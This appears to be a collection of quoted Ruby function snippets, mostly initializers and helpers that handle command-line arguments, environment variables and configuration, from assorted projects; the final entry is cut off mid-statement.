"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument for the variable name\n variable_name = OpenStudio::Measure::OSArgument.makeStringArgument('variable_name', true)\n variable_name.setDisplayName('Enter Variable Name.')\n variable_name.setDescription('Valid values can be found in the eplusout.rdd file after a simulation is run.')\n args << variable_name\n\n # make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency.')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n # make an argument for the key_value\n key_value = OpenStudio::Measure::OSArgument.makeStringArgument('key_value', true)\n key_value.setDisplayName('Enter Key Name.')\n key_value.setDescription('Enter * for all objects or the full name of a specific object to.')\n key_value.setDefaultValue('*')\n args << key_value\n\n env = OpenStudio::Measure::OSArgument.makeStringArgument('env', true)\n env.setDisplayName('availableEnvPeriods')\n env.setDescription('availableEnvPeriods')\n env.setDefaultValue('RUN PERIOD 1')\n args << env\n\n args\n end",
"def initialize\n @argv_option = {}\n @config = {}\n end",
"def initialize(cmd, args=[], env={})\n @command, @arguments, @environment = cmd, Array(args), env\n @stdout, @stderr = \"\", \"\"\n end",
"def initialize(*args)\n @input, @environment, @options = case args.first\n when String, IO, StringIO\n Tools.varargs(args, [args.first.class, Environment, Hash])\n else\n Tools.varargs(args, [String, Environment, Hash])\n end\n @options = self.class.const_get(:DEFAULT_OPTIONS).merge(@options || {}) \n end",
"def initialize(*args)\n return self if args.empty?\n parsed_args = args.first.is_a?(Hash) ? args.first : parse_string_args(args)\n\n self.executable = parsed_args[:executable]\n self.arguments = parsed_args[:arguments]\n end",
"def initialize(env, options = {})\n @env = env\n @verbose = options.fetch(:verbose) { false }\n end",
"def env(arguments, options)\n puts \"Versions:\",\n \"* executable: #{Version}\",\n \"* library: #{BareTest::VERSION}\",\n \"* ruby #{RUBY_VERSION}\",\n \"\"\n end",
"def static_env=(_arg0); end",
"def static_env=(_arg0); end",
"def static_env=(_arg0); end",
"def setup_environment\n puts \"===== setup_environment ======\"\n puts Time.now\n pp params\n pp session\n\n # Set some standard variables.\n @command = params[:cmd]\n @loddef = params[:loddef]\n @view_name = params[:viewname]\n @entity = params[:entity]\n @application, @task = get_task\n @view = @task.get_view( @view_name ) if @view_name\n puts \"view = #{@view}\"\n @messages = session[:messages]\n session[:messages] = []\n\n if @loddef\n jloddef = @application.getLodDef( @task.jtask, @loddef )\n # Default entity to root of loddef\n if @entity.nil?\n @entity = jloddef.getRoot.getName\n @parent_entity = @entity\n @root_entity = @entity\n else\n jparent = jloddef.getEntityDef( @entity ).getParent\n @parent_entity = jparent.nil? ? @entity : jparent.getName\n @root_entity = jloddef.getRoot.getName\n end\n end\nend",
"def initialize(args)\n @config = UBSafe::Config.config\n @config.load(args)\n @backup_name = @config.options[:backup_name]\n @backup_options = @config.full_options(@backup_name)\n @log = @config.log\n end",
"def initialize(args = {})\n Dir.mkdir(CONFIG[:settings_path]) if !File.exists?(CONFIG[:settings_path])\n self.check_runfile_and_cmds\n \n #Spawn logging-object.\n require \"logger\"\n @log = Logger.new(CONFIG[:log_path])\n @log.level = Logger::DEBUG\n \n self.require_gtk2\n @debug = args[:debug]\n \n #Database-connection.\n @log.debug(\"Spawning database-object.\")\n @db = Knj::Db.new(\n :type => \"sqlite3\",\n :path => CONFIG[:db_path],\n :return_keys => \"symbols\",\n :index_append_table_name => true\n )\n \n #Update to latest db-revision.\n @log.debug(\"Updating database.\")\n self.update_db\n \n #Models-handeler.\n @log.debug(\"Spawning model-handler.\")\n @ob = Knj::Objects.new(\n :datarow => true,\n :db => @db,\n :class_path => \"#{File.dirname(__FILE__)}/../models\",\n :class_pre => \"\",\n :module => Openall_time_applet::Models\n )\n @ob.events.connect(:no_name, &self.method(:objects_no_name))\n @ob.connect(\"object\" => :Timelog, \"signals\" => [\"delete_before\"], &self.method(:on_timelog_delete))\n \n @log.debug(\"Spawning event-handler.\")\n @events = Knj::Event_handler.new\n @events.add_event(:name => :timelog_active_changed)\n \n #Options used to save various information (Openall-username and such).\n @log.debug(\"Spawning options-object.\")\n Knj::Opts.init(\"knjdb\" => @db, \"table\" => \"Option\")\n \n #Set crash-operation to save tracked time instead of loosing it.\n Kernel.at_exit(&self.method(:destroy))\n \n #Set default-color to \"green_casalogic\".\n Knj::Opts.set(\"tray_text_color\", \"green_casalogic\") if Knj::Opts.get(\"tray_text_color\").to_s.strip.empty?\n \n #Spawn tray-icon.\n @log.debug(\"Spawning tray-icon.\")\n self.spawn_trayicon\n \n #Start reminder.\n @log.debug(\"Starting reminder.\")\n self.reminding\n \n #Start unix-socket that listens for remote control.\n @log.debug(\"Spawning UNIX-socket.\")\n @unix_socket = Openall_time_applet::Unix_socket.new(:oata => self)\n \n #Start autosync-timeout.\n @log.debug(\"Starting auto-sync.\")\n self.restart_autosync\n \n @log.debug(\"OpenAll Time Applet started.\")\n \n #Used to test when new tasks are created.\n #@ob.list(:Task, \"title\" => \"Test no org\") do |task|\n # puts \"Deleting test task.\"\n # @ob.delete(task)\n #end\n end",
"def initialize(args=ARGV)\n @args = args\n end",
"def initialize(args)\n @globals = set_config(args)\n end",
"def initialize(env, *args)\n @env = env\n @env = [@env] if @env.is_a? String\n @override_envs = args\n @override_envs ||= []\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for the variable name\n variable_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"variable_name\",true)\n variable_name.setDisplayName(\"Enter Variable Name.\")\n variable_name.setDescription(\"Valid values can be found in the eplusout.rdd file after a simulation is run.\")\n args << variable_name\n \n #make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Zone Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency.\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n\n #make an argument for the key_value\n key_value = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"key_value\",true)\n key_value.setDisplayName(\"Enter Key Name.\")\n key_value.setDescription(\"Enter * for all objects or the full name of a specific object to.\")\n key_value.setDefaultValue(\"*\")\n args << key_value\n \n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\n env.setDisplayName(\"availableEnvPeriods\")\n env.setDescription(\"availableEnvPeriods\")\n env.setDefaultValue(\"RUN PERIOD 1\")\n args << env\n \n return args\n end",
"def initialize\n @environment_variables = {}\n @aliases = {}\n @commands = []\n end",
"def save_env; end",
"def init( args )\n # Make sure we're in a folder with a Sitefile\n options = app.standard_rake_options\n [['--rakefile', 'StratusSite'],\n ['--no-search', nil],\n ['--silent', nil]].each {|opt, value| options.assoc(opt).last.call(value)}\n\n unless app.have_rakefile\n @mode = :app\n end\n\n import_default_tasks\n import_website_tasks\n require_lib_files\n capture_command_line_args(args)\n \n # if args.length == 0 && @mode == :app\n # puts \"Try using:\\n stratus -T\"\n # end\n \n args\n end",
"def crew _args\n \"crew _args;\" \n end",
"def initialize(args)\n\t\t\t\t# Initialize types\n\t\t\t\t@@valid_types = {bool: [], string: [String, \"\"], int: [Integer, 0], float: [Float, 0.0], choice: [String, \"\"], list: [Array, []], action: []}\n\n\t\t\t\t# Copy arguments\n\t\t\t\t@app_name = args[:name]\n\t\t\t\t@app_version = args[:version]\n\t\t\t\t@description = args[:description]\n\t\t\t\t@usage = args[:usage]\n\n\t\t\t\t# Copy messages\n\t\t\t\tmessages = args[:messages] || {}\n\t\t\t\tif messages.is_a?(Hash) then\n\t\t\t\t\t@messages = messages\n\t\t\t\telse\n\t\t\t\t\[email protected](msg: \"CowtechLib::OptionParser::initialize msgs argument must be an hash.\")\n\t\t\t\tend\n\n\t\t\t\t# Initialize variables\n\t\t\t\t@console = Console.new\n\t\t\t\t@inserted = {name: [], short: [], long: []}\n\t\t\t\t@options = {}\n\t\t\t\t@options_map = {}\n\t\t\t\t@args = []\n\t\t\t\t@cmdline = ARGV.clone\n\n\t\t\t\tself << {name: \"help\", short: \"-h\", long: \"--help\", type: :bool, help: \"Show this message.\", priority: 1000}\n\t\t\tend",
"def traject_command_line(args = {})\n # Horizon and Solr connection details are looked\n # up by the actual traject config files that we invoke, based on RAILS_ENV.\n # We dont' need to look them up here or include them in command line. \n\n str = \"\"\n if `ruby -v` =~ /jruby/\n puts \"current ruby is jruby, executing with current ruby...\"\n elsif system(\"chruby-exec jruby -- echo\")\n str << \"chruby-exec jruby -- \"\n else\n warn \"No jruby detected, and `chruby-exec jruby` not available either. We need jruby to run traject. Try installing chruby with jruby?\"\n exit 1\n end\n \n str << \" BUNDLE_GEMFILE='./Gemfile' bundle exec \"\n \n str << \"traject -c conf/horizon_source.rb -c conf/horizon_index.rb \"\n\n if args[:mode].to_s == \"solr\"\n str << \" -c conf/solr_connect.rb \"\n else # args[:mode] == marcout\n str << \" -x marcout\"\n\n output_file = args[:output_file] || auto_marcout_filename\n str << \" -o \\\"#{output_file}\\\" \"\n end\n\n # Only it's a normal kind of indexing, do the\n # shelfbrowse side channel index too\n unless ENV['ONLY'] || ENV['FIRST'] || ENV['LAST'] || (args[:mode] != :solr)\n str = \"SHELFBROWSE_TMP_TABLE_SWAP=1 #{str}\"\n str << \" -c conf/shelf_browse_index.rb\"\n end\n\n\n str << \" -s horizon.only_bib=#{ENV['ONLY']} \" if ENV['ONLY']\n str << \" -s horizon.first_bib=#{ENV['FIRST']} \" if ENV['FIRST']\n str << \" -s horizon.last_bib=#{ENV['LAST']} \" if ENV['LAST']\n \n \n return str\nend",
"def build_environment(autoinst)\n environment = {\n \"AYTESTS_FILES_DIR\" => files_dir.to_s,\n \"AYTESTS_PROVIDER\" => provider.to_s,\n \"AYTESTS_WEBSERVER_PORT\" => WEBSERVER_PORT,\n \"AYTESTS_MAC_ADDRESS\" => MAC_ADDRESS\n }\n linuxrc_file = autoinst.sub_ext(\".linuxrc\")\n environment[\"AYTESTS_LINUXRC\"] = File.read(linuxrc_file).chomp if linuxrc_file.exist?\n environment\n end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def setup\n @executor = NagiosHerald::Executor.new\n @options = {}\n @options[:env] = File.join(File.dirname(__FILE__), '..', 'env_files', 'check_disk.CRITICAL_ICINGA')\n end",
"def new_environment (initial_vars=nil)\n\n @environment_id = @fei.dup\n @environment_id.expression_name = EN_ENVIRONMENT\n\n parent_fei = nil\n parent = nil\n\n parent, _fei = get_expression_pool.fetch(@parent_id) \\\n if @parent_id\n\n parent_fei = parent.environment_id if parent\n\n env = Environment.new_env(\n @environment_id, parent_fei, nil, @application_context, nil)\n\n env.variables.merge!(initial_vars) if initial_vars\n\n env[@fei.wfname] = self.raw_representation \\\n if (not @parent_id) and (self.is_a?(RawExpression))\n #\n # keeping track of the raw representation\n # of the top expression (for top recursion)\n\n env.store_itself\n\n env\n end",
"def initialize(args)\r\n if (args.length == 1)\r\n @application_id = SecureRandom.uuid\r\n @private_key = SecureRandom.uuid\r\n @certificate = SecureRandom.uuid\r\n @create_date = Time::now\r\n @secure_hash_key = rand(TIMEOUT..(TIMEOUT*2))\r\n @status = STATUS[\"created\"]\r\n @scope = scope\r\n else\r\n @application_id = SecureRandom.uuid\r\n @private_key = SecureRandom.uuid\r\n @certificate = SecureRandom.uuid\r\n @create_date = Time::now\r\n @secure_hash_key = rand(TIMEOUT..(TIMEOUT*2))\r\n @status = STATUS[\"created\"]\r\n @scope = scope \r\n end\r\n end",
"def spawn_args\n result = Array.new\n unless environment.empty?\n result << environment\n end\n result.concat(command_line)\n opts = Hash.new\n opts[:chdir] = directory.to_s unless directory.nil?\n opts[:pgroup] = pgroup unless pgroup.nil?\n opts[:umask] = umask unless umask.nil?\n opts[:unsetenv_others] = unsetenv_others unless unsetenv_others.nil?\n opts[:close_others] = close_others unless close_others.nil?\n rlimit.each do |key, value|\n opts[\"rlimit_#{key}\".to_sym] = value\n end\n redirection.each do |key, value|\n opts[key] = value\n end\n result << opts\n result\n end",
"def initialize(*args)\n parse_options(*args)\n set_log_level\n @@application = self\n end",
"def local_init(args)\n end",
"def setup_path\n # The Java Buildpack for WLS creates the complete domain structure and other linkages during staging.\n # The directory used for staging is at /tmp/staged/app. But the actual DEA execution occurs at /home/vcap/app. This discrepancy can result in broken paths and non-startup of the server.\n # So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution\n # Also, this script needs to be invoked before starting the server as it will create the links and also tweak the server args\n # (to listen on correct port, use user supplied jvm args)\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'w') do |f|\n\n f.puts '#!/bin/bash '\n f.puts ' '\n f.puts 'function fcomp() '\n f.puts '{ '\n f.puts ' awk -v n1=$1 -v n2=$2 \\'BEGIN{ if (n1 == n2) print \"yes\"; else print \"no\"}\\' '\n f.puts '} '\n f.puts ' '\n f.puts 'function multiplyArgs() '\n f.puts '{ '\n f.puts ' input1=$1 '\n f.puts ' input2=$2 '\n f.puts ' mulResult=`echo $input1 $input2 | awk \\'{printf \"%d\", $1*$2}\\' ` '\n f.puts '} '\n f.puts ' '\n f.puts 'function divideArgs() '\n f.puts '{ '\n f.puts ' input1=$1 '\n f.puts ' input2=$2 '\n f.puts ' divResult=`echo $input1 $input2 | awk \\'{printf \"%.2f\", $1/$2}\\' ` '\n f.puts '} '\n f.puts ' '\n f.puts 'function scaleArgs() '\n f.puts '{ '\n f.puts ' inputToken=$1 '\n f.puts ' factor=$2 '\n f.puts ' numberToken=`echo $inputToken | tr -cd [0-9] ` '\n f.puts ' argPrefix=`echo $inputToken | sed -e \\'s/m$//g\\' | tr -cd [a-zA-Z-+:=] ` '\n f.puts ' multiplyArgs $numberToken $factor '\n f.puts ' # Result saved in mulResult variable '\n f.puts ' scaled_number=$mulResult '\n f.puts ' scaled_token=${argPrefix}${scaled_number}m '\n f.puts '} '\n f.puts ' '\n f.puts '# There are 5 things handled by this script '\n f.puts ' '\n f.puts '# 1. Create links to mimic staging env and update scripts with jvm options '\n f.puts '# The Java Buildpack for WLS creates complete domain structure and other linkages during staging at '\n f.puts '# /tmp/staged/app location '\n f.puts '# But the actual DEA execution occurs at /home/vcap/app. '\n f.puts '# This discrepancy can result in broken paths and non-startup of the server. '\n f.puts '# So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution '\n f.puts '# Create paths that match the staging env, as otherwise scripts will break!! '\n f.puts 'if [ ! -d \\\"/tmp/staged\\\" ]; then '\n f.puts ' /bin/mkdir /tmp/staged '\n f.puts 'fi; '\n f.puts 'if [ ! -d \\\"/tmp/staged/app\\\" ]; then '\n f.puts ' /bin/ln -s /home/vcap/app /tmp/staged/app '\n f.puts 'fi; '\n f.puts ' '\n end\n end",
"def create(args)\n # validate arguments\n\n # got arguments\n unless args.empty?\n # TODO: parse_args method\n required_args = ['sitename', 'type']\n # loop given arguments\n used_args = []\n args_hash = Hash.new\n args.each { |argument|\n arg = argument.split('=')\n if arg.length == 2\n # every argument has value, check for required args\n\n # split argument to key value pair\n key = arg[0]\n val = arg[1]\n\n # remove all dashes from beginning of key\n key.sub! /\\A-+/, ''\n # check for duplicate arguments\n if used_args.include?(key)\n puts \"Duplicate arguments\"\n puts CREATE_HELP\n exit\n else\n # keep track of used arguments\n used_args.push(key)\n \n # TODO: validate sitename (only lowercase chars, dashes or numbers)\n\n # set key and value to hash\n args_hash[key]=val\n end\n\n if required_args.include?(key)\n required_args.delete(key)\n end\n\n else\n # argument value missing, exit script and show help\n puts 'Argument '+arg[0]+' needs value'\n puts CREATE_HELP\n exit\n end\n }\n\n if required_args.length == 0\n # all required arguments given, proceed\n else\n # required arguments missing, exit script and show help\n puts \"Arguments required:\"\n puts required_args\n puts CREATE_HELP\n exit\n end\n\n # start creating project\n create_app(args_hash)\n\n else\n # no arguments given, start wizard\n create_wizard()\n\n end\n\n end",
"def args_env_vars\r\n puts \"SMS Order Notifier for Blomming, release: 1 February 2014, by: [email protected]\"\r\n puts \"CTRL+C to stop\"\r\n\r\n # get necessary environment variables\r\n @username = ENV['SMSNOTIFIER_SKEBBY_USERNAME']\r\n @password = ENV['SMSNOTIFIER_SKEBBY_PASSWORD'] \r\n @seller_cell_number = ENV['SMSNOTIFIER_SELLER_PHONENUM']\r\n\r\n if @username.nil? || @password.nil? || @seller_cell_number.nil?\r\n puts \"please set environment variables:\"\r\n puts \"export SMSNOTIFIER_SKEBBY_USERNAME=your_skebby_username\"\r\n puts \"export SMSNOTIFIER_SKEBBY_PASSWORD=your_skebby_password\"\r\n puts \"export SMSNOTIFIER_SELLER_PHONENUM=seller_cell_number as: <country_prefix><number> by example: 391234567890\"\r\n exit 1\r\n end\r\n\r\n # get Blomming YAML configuration filename\r\n if ARGV[0].nil?\r\n puts \" usage: #{$0} <blomming_config_file.yml>\" \r\n puts \"example: ruby #{$0} $CONFIG\"\r\n exit 2\r\n end\r\n\r\n blomming_config_file = ARGV[0]\r\nend",
"def initialize(path = '.', env: {}, logger: nil)\n # save the working directory\n self.working_dir = File.expand_path(path.to_s)\n # Load whitelisted environment variables\n self.env = ENV.select { |k, _| ALLOWED_ENV.include? k }\n # Set some defaults\n self.env['SHELL'] = '/bin/bash'\n # Since this is likely to be running within a `bundle exec` context, we\n # expect any original GEM_PATH has been unset, and the ENV is configured\n # such that we only use what is within this bundle, which probably\n # doesn't include bundler itself, although we'll actually need to\n # 'bundle install' in working directories. To keep things sane, just\n # carry over the _ORIGINAL_GEM_PATH so that bundler is available\n if !ENV['_ORIGINAL_GEM_PATH'].nil? &&\n ENV['_ORIGINAL_GEM_PATH'].strip.length > 0 &&\n (env['GEM_PATH'].nil? || env['GEM_PATH'].strip.length == 0)\n self.env['GEM_PATH'] = ENV['_ORIGINAL_GEM_PATH']\n end\n # Update environment variables from option\n self.env.update env\n # did we get a logger to use?\n self.logger = logger if logger\n end",
"def command_for(args)\n [config.to_env].tap do |cmd|\n args = args.clone\n cmd.append('node', '--inspect-brk') if args.delete('--inspect')\n cmd.append('node', '--trace-deprecation') if args.delete('--trace_deprecation')\n cmd.append(vite_executable)\n cmd.append(*args)\n cmd.append('--mode', config.mode) unless args.include?('--mode') || args.include?('-m')\n end\n end",
"def initialize(args, flag)\n @flag = flag\n if args[:run_mode] == 'NORMAL'\n @phase = 'RUNNING'\n @activation = 'SKIP'\n @payload = 'NULL'\n else\n recover_action(self)\n end\n super(args[:logger])\n end",
"def initialize(args)\n end",
"def init_env type:\n # puts \" initializing env\" if debug\n # print \"(newenv) \" #if debug\n AtariWrapper.new gym.make(type), downsample: compr.downsample,\n skip_type: skip_type, preproc: preproc\n end",
"def initialize(command, env:, verbose:, named_args: nil, ignore_failures: false, repository: nil)\n @named_args = [named_args].flatten.compact.map(&:to_s)\n @command = command + @named_args\n @env = env\n @verbose = verbose\n @ignore_failures = ignore_failures\n @repository = repository\n\n @name = command[1]&.delete(\"-\")\n @status = :running\n @output = nil\n end",
"def initialize(arg_list)\n @config_file_name = nil\n need_config_file_name = false\n\n arg_list = arg_list.map do |arg|\n if need_config_file_name then\n @config_file_name = arg\n need_config_file_name = false\n nil\n elsif arg =~ /^--config-file=(.*)/ then\n @config_file_name = $1\n nil\n elsif arg =~ /^--config-file$/ then\n need_config_file_name = true\n nil\n else\n arg\n end\n end.compact\n\n @backtrace = DEFAULT_BACKTRACE\n @benchmark = DEFAULT_BENCHMARK\n @verbose = DEFAULT_VERBOSITY\n\n operating_system_config = Marshal.load Marshal.dump(OPERATING_SYSTEM_DEFAULTS)\n platform_config = Marshal.load Marshal.dump(PLATFORM_DEFAULTS)\n system_config = load_file SYSTEM_WIDE_CONFIG_FILE\n user_config = load_file config_file_name.dup.untaint\n\n @hash = operating_system_config.merge platform_config\n @hash = @hash.merge system_config\n @hash = @hash.merge user_config\n @hash.stringify_keys!\n\n # HACK these override command-line args, which is bad\n @backtrace = @hash['backtrace'] if @hash.key? 'backtrace'\n @benchmark = @hash['benchmark'] if @hash.key? 'benchmark'\n @verbose = @hash['verbose'] if @hash.key? 'verbose'\n handle_arguments arg_list\n end",
"def initialize(args={})\n @log = args[:log] # will contain an instance of some type of Logger object (Ruby, Log4R, etc.)\n log.debug \"#{self.class} initialize called..\"\n @errors = [] # an array of error messages\n @exercise = nil # will contain the exercise created upon import\n end",
"def initialize(args)\n @args = args\n end",
"def initialize(args={})\n @robinhood_file_path = args[:robinhood_file_path]\n @pids_dir_path = args[:pids_dir_path]\n @log_dir_path = args[:log_dir_path]\n end",
"def initialize(default_target, arguments)\n option_parser = OptionParser.new\n option_parser.on('--no-ivy') { @no_ivy = true }\n option_parser.on('--no-compile') { @no_compile = true }\n option_parser.on('--no-demo') { @no_demo = true }\n option_parser.on('--no-schema') { @no_schema = true }\n option_parser.on('--no-jre') { @no_jre = true }\n option_parser.on('--no-no') do \n @no_ivy = true\n @no_demo = true\n @no_schema = true\n end\n option_parser.on('--emma') do Registry[:emma] = true end\n \n @start_time = Time.now\n @basedir = FilePath.new(File.dirname(File.expand_path(__FILE__)), \"..\").canonicalize\n Registry[:basedir] = @basedir\n puts(\"Building with base directory: '#@basedir'.\")\n puts\n @default_target = default_target\n @ant = TerracottaAnt.new\n Registry[:ant] = @ant\n @platform = CrossPlatform.create_implementation(:ant => @ant)\n Registry[:platform] = @platform\n \n # The CommandLineConfigSource actually parses its arguments, and returns only the ones\n # that aren't configuration property settings (e.g., of the form 'a=b').\n arguments = option_parser.parse(arguments)\n @arguments, command_line_source = CommandLineConfigSource.from_args(arguments)\n @internal_config_source = InternalConfigSource.new\n Registry[:internal_config_source] = @internal_config_source\n @config_source = create_config_source(command_line_source, @internal_config_source)\n Registry[:config_source] = @config_source\n Registry[:command_line_config] = command_line_source\n\n @script_results = ScriptResults.new\n\n if Registry[:emma]\n Registry[:emma_home] = FilePath.new(@basedir.to_s, \"..\", \"..\", \"buildsystems\", \"emma-2.0.5312\").canonicalize.to_s\n fail(\"EMMA_HOME does not exist: #{Registry[:emma_home]}\") unless File.exists?(Registry[:emma_home])\n Registry[:emma_lib] = \"#{Registry[:emma_home]}/lib/emma.jar\"\n puts \"EMMA_HOME: #{Registry[:emma_home]}\"\n end\n\n # XXX: this is a hack to get around jruby script converting JAVA_HOME to unix path\n begin\n if `uname` =~ /CYGWIN/i\n ENV['JAVA_HOME'] = `cygpath -w #{ENV['JAVA_HOME']}`.strip\n end\n rescue\n # do nothing\n end\n\n reset\n end",
"def initialize(opt = nil)\n @opt = DEFAULTS.merge(opt || {})\n\n # make sure paths exist\n PATH_KEYS.each do |key|\n FileUtils.mkdir_p(File.dirname(@opt[\"runner.#{key}.path\"]), {\n # restict access to owner\n :mode => 0700\n })\n end\n\n # create logger\n @log = Logger.new(@opt['runner.log.path'])\n @log.level = Logger.const_get(@opt['runner.log.level'].upcase)\n @log.datetime_format = @opt['runner.log.format']\n @log.info('Log started.')\n\n # create backing store\n path = @opt['runner.store.path'] \n @log.debug(\"Creating backing store \\\"#{path}\\\".\")\n pstore = ::PStore.new(path)\n @store = Store::PStore::All.new(pstore)\n end",
"def initialize(env={})\n @env = env\n end",
"def initialize(options = nil) \n JubulaOptions::Fields.each { |x| eval(\"@#{x} = JubulaOptions::#{x}\") }\n options.each { |opt, val| eval( \"@#{opt} = '#{val}'\") } if options\n\t[\"#{@jubulaHome}/server/autagent*\",\n\t\"#{@jubulaHome}/#{@application}/#{@application}*\",\n\t\"#{@jubulaHome}/#{@application}/testexec*\",\n\t\"#{@jubulaHome}/#{@application}/dbtool*\",\n\t].each { \n\t |file|\n\t\tif Dir.glob(file.gsub('\"','')).size == 0\n\t\t\tputs(\"Jubula not correctly installed in #{@jubulaHome}\")\n\t\t\tputs(\"We could not find the needed application: #{file}\")\n\t\t\texit 1\n\t end\n\t}\n [@instDest, @testResults, @dataDir].each { # @data,\n |x|\n\tFileUtils.rm_rf(x, :verbose => true, :noop => @dryRun)\n\tFileUtils.makedirs(x, :verbose => true, :noop => @dryRun)\n }\n ENV['TEST_UPV_WORKSPACE'] = @workspace\n end",
"def initialize(argv = [])\n @debug = $DEBUG\n @verbose = $VERBOSE\n @version_requested = false\n\n opt = OptionParser.new\n opt.banner = 'Usage: peeek [switches] [--] [programfile] [arguments]'\n opt.summary_indent = ' ' * 2\n opt.summary_width = 15\n\n @working_directory = nil\n\n opt.on('-Cdirectory', 'cd to directory before executing your script') do |directory|\n @working_directory = directory\n end\n\n opt.on('-d', '--debug', 'set debugging flags (set $DEBUG to true)') do\n @debug = true\n @verbose = verbose_by(VERBOSE)\n end\n\n commands = []\n\n opt.on(\"-e 'command'\", \"one line of script. Several -e's allowed. Omit [programfile]\") do |command|\n commands << command\n end\n\n if self.class.encoding_options_enabled?\n @external_encoding = Encoding.default_external\n @internal_encoding = Encoding.default_internal\n\n opt.on('-Eex[:in]', '--encoding=ex[:in]', 'specify the default external and internal character encodings') do |encodings|\n external_encoding, internal_encoding = parse_encodings(encodings)\n @external_encoding = external_encoding if external_encoding\n @internal_encoding = internal_encoding\n end\n end\n\n @hook_targets = []\n\n opt.on('-Hstring', 'object and method name that is target of hook') do |string|\n hook_spec = Hook::Specifier.parse(string)\n @hook_targets << hook_spec unless @hook_targets.include?(hook_spec)\n end\n\n @directories_to_load = []\n\n opt.on('-Idirectory', 'specify $LOAD_PATH directory (may be used more than once)') do |directory|\n @directories_to_load << directory unless @directories_to_load.include?(directory)\n end\n\n @required_libraries = []\n\n opt.on('-rlibrary', 'require the library before executing your script') do |library|\n @required_libraries << library unless @required_libraries.include?(library)\n end\n\n opt.on('-v', 'print version number, then turn on verbose mode') do\n @version_requested = true\n @verbose = verbose_by(VERBOSE)\n end\n\n opt.on('-w', '--verbose', 'turn warnings on for your script') do\n @verbose = verbose_by(VERBOSE)\n end\n\n level_strings = [:SILENCE, :MEDIUM, :VERBOSE].map do |const_name|\n \"#{self.class.const_get(const_name)}=#{const_name.to_s.downcase}\"\n end\n\n opt.on(\"-W[level=#{VERBOSE}]\", \"set warning level; #{level_strings * ', '}\", Integer) do |level|\n @verbose = verbose_by(level || VERBOSE)\n end\n\n @continued = true\n\n opt.on('--version', 'print the version') do\n @version_requested = true\n @continued = false\n end\n\n opt.on_tail('-h', '--help', 'show this message') do\n raise Help, opt.help\n end\n\n @arguments = opt.order(argv)\n @command = commands * '; '\n end",
"def initialize env\n @env = env\n super()\n end",
"def initialize env\n @env = env\n super()\n end",
"def initialize(*args)\n @env, @argv, options = extract_process_spawn_arguments(*args)\n @options = options.dup\n @input = @options.delete(:input)\n @timeout = @options.delete(:timeout)\n @max = @options.delete(:max)\n @prepend_stdout = @options.delete(:prepend_stdout) || \"\"\n @prepend_stderr = @options.delete(:prepend_stderr) || \"\"\n @options.delete(:chdir) if @options[:chdir].nil?\n\n exec!\n end",
"def initialize( location = 'stage', env_file = File.expand_path(\"#{__FILE__}/../../config/stage.sh\"))\n @location = location\n @env_file = env_file\n envfile_hash = process_env_file( env_file )\n #ENV explicit settings override values found in a locations config file\n @data = Hash[ SQA_ECOMM_SERVER_URL: ENV.fetch( 'SQA_ECOMM_SERVER_URL', envfile_hash['SQA_ECOMM_SERVER_URL'] ),\n SQA_ECOMM_API_SERVER_URL: ENV.fetch( 'SQA_ECOMM_API_SERVER_URL', envfile_hash['SQA_ECOMM_API_SERVER_URL'] ),\n SQA_ECOMM_DB_SERVER: ENV.fetch( 'SQA_ECOMM_DB_SERVER', envfile_hash['SQA_ECOMM_DB_SERVER'] ),\n SQA_ECOMM_DB: ENV.fetch( 'SQA_ECOMM_DB', envfile_hash['SQA_ECOMM_DB'] ),\n SQA_ECOMM_DB_UPDATE_USER: ENV.fetch( 'SQA_ECOMM_DB_UPDATE_USER', envfile_hash['SQA_ECOMM_DB_UPDATE_USER'] ),\n SQA_ECOMM_DB_UPDATE_PW: ENV.fetch( 'SQA_ECOMM_DB_UPDATE_PW', envfile_hash['SQA_ECOMM_DB_UPDATE_PW'] ),\n SQA_ECOMM_DB_READONLY_USER: ENV.fetch( 'SQA_ECOMM_DB_READONLY_USER', envfile_hash['SQA_ECOMM_DB_READONLY_USER'] ),\n SQA_ECOMM_DB_READONLY_PW: ENV.fetch( 'SQA_ECOMM_DB_READONLY_PW', envfile_hash['SQA_ECOMM_DB_READONLY_PW'] ),\n SQA_ORACLE_DB_SERVER: ENV.fetch( 'SQA_ORACLE_DB_SERVER', envfile_hash['SQA_ORACLE_DB_SERVER'] ),\n SQA_ORACLE_DB_UPDATE_USER: ENV.fetch( 'SQA_ORACLE_DB_UPDATE_USER', envfile_hash['SQA_ORACLE_DB_UPDATE_USER'] ),\n SQA_ORACLE_DB_UPDATE_PW: ENV.fetch( 'SQA_ORACLE_DB_UPDATE_PW', envfile_hash['SQA_ORACLE_DB_UPDATE_PW'] ),\n 